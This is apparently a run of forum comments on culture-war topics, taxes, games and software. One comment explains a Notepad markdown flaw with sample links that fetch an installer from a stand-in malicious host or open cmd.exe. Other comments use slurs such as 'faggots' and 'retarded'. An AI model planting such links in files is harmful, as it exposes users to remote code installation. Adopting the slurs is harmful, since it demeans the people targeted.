Liberal packed
Honestly, some of them are probably afraid of reprisal. Which is a worse situation than if it was just the usual routine IMHO. Libs being stupid about race beats a foreign criminal enterprise being untouchable through intimidation.
The "Sisko complains about 1960s racism as a space station commander in the 2300s" was cringe as hell, even when DS9 came out.
That's the thing the left just doesn't get. If you just have a good character that's also black (and not a swap), people didn't mind and you get to tick your inclusion checkbox. But they are impatient and radicals, so they can't help themselves. In the older stuff, the good outweighed the propaganda. But now there's no good left in Hollywood media. Their content is a negative value proposition. Of course people are checking out.
The only two scenes I remember from Fresh Prince are:
- Uncle Phil being a good and honorable man in contrast to Will's deadbeat father
- Will standing up for Carlton when the "Black" fraternity didn't want him because he didn't look or act the stereotype
That kind of self-awareness wouldn't be allowed today. The Boondocks was probably the last thing to get away with that kind of introspection. That was over a decade ago and arguably grandfathered in even then. The audience doesn't care if you ignore race. The audience didn't use to care if you looked at it thoughtfully. What the audience is sick of is surface-level, SJW writers penning their oppressions fantasies.
>13 partners has lower divorce chance than 5-12 partners
I'm sensing a low sample size. Also, that chart doesn't specify if the partners were previous, but does limit the population to people who never remarried. In other words, single women are more likely to increment their partner counts. Which should be kind of obvious. And the odds of someone having been divorced in the past goes up with their age, so now we're at, "single women more likely to increment partner count as time goes on."
Maybe it is really pre-marriage partner count, but it isn't labeled as such. It's not a great chart.
This is a fundamental issue with the labels. "Conservatism" just means realizing that we're moving in a bad direction. It doesn't have a consistent goal. Sticking with how things were yesterday or in 1950s are both "conservative."
The only way this stops happening is if the right redefines itself with a specific objective. Which I think unlikely without major changes, because the right is currently just a loose collation of anti-left.
Notice how you want us to ignore the number showing how many people are quitting the fight.
My point has flown very high over your head. The top post here of all time (not counting the welcome post) has a score of 349. A post getting 106 in the past month is not indicative of people quitting. It's indicative of this being a small board and/or not engaging that much in up/down voting. In 5 years, Only 18 beat 200. Only one broke 300. Yes, most of those are older. Shocking, the GG board waned in traffic when GG left the headlines.
If you want to compare trends in scores over time between different boards, fine. But comparing absolute numbers between boards of different size is retarded. Looking at those scores and saying, "so many people are quitting," is being blackpilled or trying to blackpill others. "Look around you, everyone has lost hope!" says the person claiming to be a warrior of optimism.
Everyone will sell their shares December 31st or earlier that month. After January 1st, they will buy the shares back.
Doubt that would work. I don't know how Holland does it, but one of two things would happen:
- Wash sale rule, counts as not sold. Still taxed on unrealized gains.
- No wash sale rule, it would become realized gains. Those are already taxed.
Either way, they still get their taxes. The whole reason they want to taxed unrealized gains is because if you buy and hold for 20 years, they're not getting tax revenue. Getting taxed on realized gains isn't a workaround for getting taxed on unrealized gains.
Obviously, this is assuming unrealized/realized are taxed at the same rate. If that's not the case, it would depend on the rates if it made sense to do.
The real question is if it's just stocks or they'll do it to other assets. Imagine sneaking in a 36% tax on real estate appreciation, forcing everyone to sell to afford it.
I'm not defending MS here, but that post mischaracterizes the vuln pretty badly. It has nothing to do with "network connection features" per se and certainly not AI. They unified Notepad and WordPad. Which meant you could edit markup files, which allowed a file to contain things like this:
[click me!](ms-appinstaller://?source=https://malicioussite.com)
[click me too!](file://C:/windows/system32/cmd.exe)
If viewed with markup enabled, the links become clickable, they get passed along to the OS as if they were pasted in an explorer window. Their "fix" was a pop up telling you that you're about to open a link.
I guess you could consider making links clickable a "network connection feature," but it's not as if notepad is opening a socket itself.
It's going to be a bitch and a half to try to hold on to gaming when Gaben's not around anymore. Same playbook. They'll roadblock indie publishing via payment processors and regulatory capture. Then make their "labels" a functional necessity and assume creative control.
He's not wrong about "country" music being palette-swapped rap music. Swap Hennesy for Jack, clubs for bars, and bentleys for pickup trucks and they're cousins. The only difference is one still puts slight effort into the backing music and uses more polite euphemisms for fucking.
I don't know where you're getting any "defense" of Bad Bunny. The author explicitly says he didn't watch him. But he watched the Kid Rock one and gives his disappointed opinon.
Don't get me wrong. I'm as against AIPAC as much as the next user here. They're a greater threat than the Dems even. But backdoor donations to the left for copy pasting publicly available information onto a free platform isn't ideal.
But really, for Trademark violation? Presumably because "Track AIPAC" contains "AIPAC?" Way to live up to expectations.
That's reading too much into it. Movie has a goat. Someone says, "hey, remember that old goat video?" and someone else says, "Haha, yeah. That'd be a fun reference."
And it's goofy enough on its own to not require context to still be a "joke." At the time, I doubt they realized everyone else had the same idea.
There's a market for fighting games, but it's a niche with a community that's very picky. And they're already segmented into big names like Street Fighter, Tekken, Mortal Kombat, Guilty Gear, etc. Where each of those is nearly considered a genre unto itself, most of them with literal decades of polish.
This thing was apparently a 2v2 tag-team fighter. So the potential audience was:
- League players who wanted to play something besides League.
- MVC players who wanted 2 characters instead of 3?
I guess they were hoping the IP was strong enough that they could pull off what Persona 4 Arena did, but again: that would require a League player to play something other than League. They had a potential audience of dozens.
Seriously, there probably was a small audience for this. Even the most obscure fighting games have some dedicated base out there, but Riot probably pumped a shit load of money into it thinking it was going to be a big hit and that was never realistic.
This is being pedantic, but atheism is a absence of believe in god(s). Once could technically believe in the non-divine supernatural and still technically apply the label.
Belief in benevolent and malevolent spirits beyond the visible world doesn't necessarily imply belief in a creator. They're usually bundled together in the same belief system, but it's not a requirement.
Not ideologically. But practically it opposes the creation of the apparatuses necessary to secure large borders. And verification of citizenship necessitates creating a body with the authority and tracking to carry it out. Allowing society to determine who should be removed requires surrendering a measure of personal sovereignty.
Other than stopping them at the border, every enforcement mechanism puts burdens on ordinary people. That's where it conflicts with libertarianism. Even today's bare minimum of "check before hiring," amounts to not being able to engage in commerce with your neighbor unless your births were registered with the government.
The ideals are great, but they don't survive application. At least not without limiting them in scope to a population you've already filtered. You could go very authoritarian with national borders and the most narrow mandate possible and then libertarian within. But there will inevitably be another issue tempting another "limited scope" authority... until you have today's 400+ federal agencies each with "limited scope."
Why aren't these faggots bankrupt already?
Remember all the backlash they got over Diablo Immortal being a shitty phone game? It made a $500m in micro-transactions the first year alone.
Hearthstone, a game no one talks about? When they introduce new shit, they can pull $19m in one month. They're averaging about $1.03 per active player per day.
Casuals and mobile users just keep feeding them.
You're thinking the gang is going to kill themselves in retaliation for killing one of their own?